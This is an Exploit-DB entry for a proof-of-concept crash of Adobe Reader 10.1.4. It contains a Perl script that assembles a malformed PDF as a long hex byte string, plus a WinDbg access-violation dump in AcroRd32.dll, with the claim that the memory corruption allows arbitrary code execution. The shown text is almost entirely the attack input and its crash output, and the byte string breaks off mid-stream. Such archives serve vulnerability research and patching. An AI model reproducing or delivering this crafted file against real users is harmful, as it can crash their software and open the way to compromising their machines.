Exploit-DB #22155
Description: Adobe Reader 10.1.4 - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-22
Author: coolkaveh

Exploit:
#!/usr/bin/perl
#Title    :  Adobe reader 10.1.4 memory corruption
#Version  :  10.1.4.38
#Date     :  2012-10-21
#Vendor   :  http://www.adobe.com/
#Impact   :  High
#Contact  :  coolkaveh [at] rocketmail.com
#Twitter  :  @coolkaveh
#tested   :  XP SP3 ENG
#Author   :  coolkaveh
#######################################################################################################
#Bug :
#----
#Memory corruption during the handling of the pdf files a context-dependent attacker can execute
#arbitrary code.
#######################################################################################################
#(5b4.1a4): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=01abf4a4 
#ebx=5f2c23ec 
#ecx=01abf4a5 
#edx=01b650c0 
#esi=01abf4a6 
#edi=0012d240
#eip=6013aab8 
#esp=0012d0f0 
#ebp=0012d2b4 iopl=0         nv up ei pl nz na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
#*** ERROR: Symbol file could not be found.  
#Defaulted to export symbols for C:\Program Files\Adobe\Reader 10.0\Reader\AcroRd32.dll - 
#AcroRd32!CTJPEGDecoderCreate+0x1ea8:
#6013aab8 660f6f0c13      
#movdqa  xmm1,xmmword ptr [ebx+edx] ds:0023:60e274ac=0817d5ee[PII_REDACTED]1848c10817d567
#######################################################################################################
my $poc = 
"\x25\x50\x44\x46\x2D\x31\x2E\x35\x0D\x0A\x25\xB5\xB5\xB5\xB5\x0D\x0A\x31\x20\x30\x20\x6F\x62\x6A\x0D".
"\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x43\x61\x74\x61\x6C\x6F\x67\x2F\x50\x61\x67\x65\x73\x20\x32\x20".
"\x30\x20\x52\x2F\x4C\x61\x6E\x67\x28\x65\x6E\x2D\x55\x53\x29\x20\x2F\x53\x74\x72\x75\x63\x74\x54\x72".
"\x65\x65\x52\x6F\x6F\x74\x20\x34\x39\x20\x30\x20\x52\x2F\x4D\x61\x72\x6B\x49\x6E\x66\x6F\x3C\x3C\x2F".
"\x4D\x61\x72\x6B\x65\x64\x20\x74\x72\x75\x65\x3E\x3E\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A".
"\x32\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x50\x61\x67\x65\x73\x2F\x43\x6F".
"\x75\x6E\x74\x20\x33\x2F\x4B\x69\x64\x73\x5B\x20\x33\x20\x30\x20\x52\x20\x32\x33\x20\x30\x20\x52\x20".
"\x33\x33\x20\x30\x20\x52\x5D\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x33\x20\x30\x20\x6F".
"\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x50\x61\x67\x65\x2F\x50\x61\x72\x65\x6E\x74\x20\x32".
"\x20\x30\x20\x52\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x3C\x3C\x2F\x50\x61\x74\x74\x65\x72\x6E\x3C".
"\x3C\x2F\x50\x38\x20\x38\x20\x30\x20\x52\x3E\x3E\x2F\x46\x6F\x6E\x74\x3C\x3C\x2F\x46\x31\x20\x39\x20".
"\x30\x20\x52\x2F\x46\x32\x20\x31\x32\x20\x30\x20\x52\x2F\x46\x33\x20\x31\x37\x20\x30\x20\x52\x3E\x3E".
"\x2F\x50\x72\x6F\x63\x53\x65\x74\x5B\x2F\x50\x44\x46\x2F\x54\x65\x78\x74\x2F\x49\x6D\x61\x67\x65\x42".
"\x2F\x49\x6D\x61\x67\x65\x43\x2F\x49\x6D\x61\x67\x65\x49\x5D\x20\x3E\x3E\x2F\x41\x6E\x6E\x6F\x74\x73".
"\x5B\x20\x31\x31\x20\x30\x20\x52\x20\x32\x32\x20\x30\x20\x52\x5D\x20\x2F\x4D\x65\x64\x69\x61\x42\x6F".
"\x78\x5B\x20\x30\x20\x30\x20\x37\x32\x30\x20\x35\x34\x30\x5D\x20\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73".
"\x20\x34\x20\x30\x20\x52\x2F\x47\x72\x6F\x75\x70\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x47\x72\x6F\x75\x70".
"\x2F\x53\x2F\x54\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x63\x79\x2F\x43\x53\x2F\x44\x65\x76\x69\x63\x65".
"\x52\x47\x42\x3E\x3E\x2F\x54\x61\x62\x73\x2F\x53\x2F\x53\x74\x72\x75\x63\x74\x50\x61\x72\x65\x6E\x74".
"\x73\x20\x30\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C".
"\x3C\x2F\x46\x69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44\x65\x63\x6F\x64\x65\x2F\x4C\x65\x6E\x67".
"\x74\x68\x20\x38\x38\x35\x3E\x3E\x0D\x0A\x73\x74\x72\x65\x61\x6D\x0D\x0A\x78\x9C\x8D\x56\x4B\x6E\xDB".
"\x48\x10\xDD\x13\xE0\x1D\x7A\xD9\x0C\xE0\x66\xF5\xBF\x39\x10\x88\x44\x1F\x07\x33\x40\x10\x27\x16\x30".
"\x0B\x39\x0B\x41\x61\x6C\x21\x96\xE4\x48\x1C\x07\x39\xD5\xCC\x1D\xE6\x62\xA9\xA6\x4C\x86\x4D\x51\x54".
"\x16\xFC\x15\x59\xAF\xAA\x5E\x55\x3F\x36\x49\x6F\xC8\x68\x94\xBE\x9B\xFC\x39\x25\x90\xE7\x64\x3C\x9D".
"\x90\x6F\x71\x04\x04\x18\x00\x70\x21\xC0\x12\x2B\x80\x68\x05\x64\x5F\xC4\xD1\xDF\xAF\xC8\x36\x8E\xD2".
"\x9B\x65\x59\x16\xFB\x2D\x59\x1D\x48\x7A\xE3\xC8\x61\xB5\x6D\x7C\x00\x0C\x07\x15\x38\x7D\x79\x15\x47".
"\x1F\xE2\x88\xCC\xDE\x4D\x08\x69\x05\xE4\x2F\x01\xC7\x73\x84\xBC\xE6\x44\x66\x2C\x33\x64\xFE\x25\x8E".
"\x38\x41\x34\xC2\x89\x00\x60\x52\x13\x95\x09\x66\x2C\x99\x6F\x7C\x94\x7B\x7F\x7A\x1B\x47\x0B\xFA\xE6".
"\x7B\x92\xD1\xE2\xB0\xDB\x14\x24\xF9\x44\xE6\x7F\xC5\xD1\x0C\x91\x3C\x5A\xED\x2F\x4D\xC6\xA4\x6A\xFB".
"\x2F\xE8\x0A\x9D\x76\xBB\xE4\x4A\xD0\xC7\xAF\x89\xE0\x74\x99\x70\x4B\x9F\x13\xCE\x69\xF1\x70\x06\x46".
"\x4B\xCE\xAC\x08\x61\xCE\x85\x14\x99\x65\x0E\xBF\x55\xEA\xD7\xB7\xCB\xCF\xCF\xEB\xC3\x6E\x9F\x5C\x29".
"\xFA\xE3\x9C\x9F\x52\x92\x09\x17\xFA\x75\xBF\xAD\x49\x72\x2A\x60\x49\x1A\x8D\x36\x7C\x63\x98\xD1\x3D".
"\xAE\x27\xC4\x8B\x2E\xF1\x82\x41\x08\xC9\x35\xF8\x34\xA4\x43\xFE\xDD\x91\x78\xA6\xA5\xAD\xC8\xAF\x6E".
"\xAA\x06\xDC\x24\xDC\xD1\x62\x5B\x94\x89\xA2\xFB\x84\x67\xC8\xA5\xA5\xE5\x3A\x91\x74\xB7\x25\x78\x2E".
"\x13\x2E\xB1\x41\x09\x17\xB4\x24\xEB\x03\xD9\xF8\x6F\x06\x18\x00\x66\x4D\x3B\xE6\x82\x7E\x4D\xA4\xA1".
"\x05\xA2\xFE\xC0\xE3\x50\x20\x85\x9A\x3E\xAF\x57\xC5\xB9\x46\x59\xCD\x94\x08\x21\x7A\x98\xB8\x7D\x5A".
"\x6E\x1B\x32\x64\x0F\x19\xA6\xC3\x86\x93\x4C\xE2\x1B\xA9\x98\xA8\xC7\xD0\xDB\xF7\xF7\xF5\xDD\xC7\xB7".
"\xC7\xD1\x72\x38\x5A\x7E\xAC\xC0\x8F\x95\xF6\x63\x05\x38\x56\xAF\xF7\xFE\x61\xB7\xC2\x6A\x54\x55\x4D".
"\xB9\x41\x76\x96\xEB\x47\x86\xC4\x55\x4E\x9B\xA1\x76\xA9\x56\x86\x4D\xA5\x0A\x67\x51\x05\x29\xF5\x34".
"\xA8\x5D\xFB\xAF\x94\x7D\x39\x22\x43\x5F\xF0\x53\x8D\xAE\x12\x24\x03\x5D\x1B\x1E\xE3\x48\x09\xC1\x1C".
"\x6F\x19\x7C\x38\x6D\x7B\x0C\xC2\x31\xE3\xDA\x2E\x8D\xA1\x06\x6D\x0C\x75\xD8\xC6\xF0\x70\x94\x86\x93".
"\x7A\x75\xD0\x11\xD1\x37\x9E\xCA\x30\x9D\x11\xE1\x2C\xCB\x74\x58\xFD\x62\x04\xD2\x8E\x41\xAA\x29\x5E".
"\x67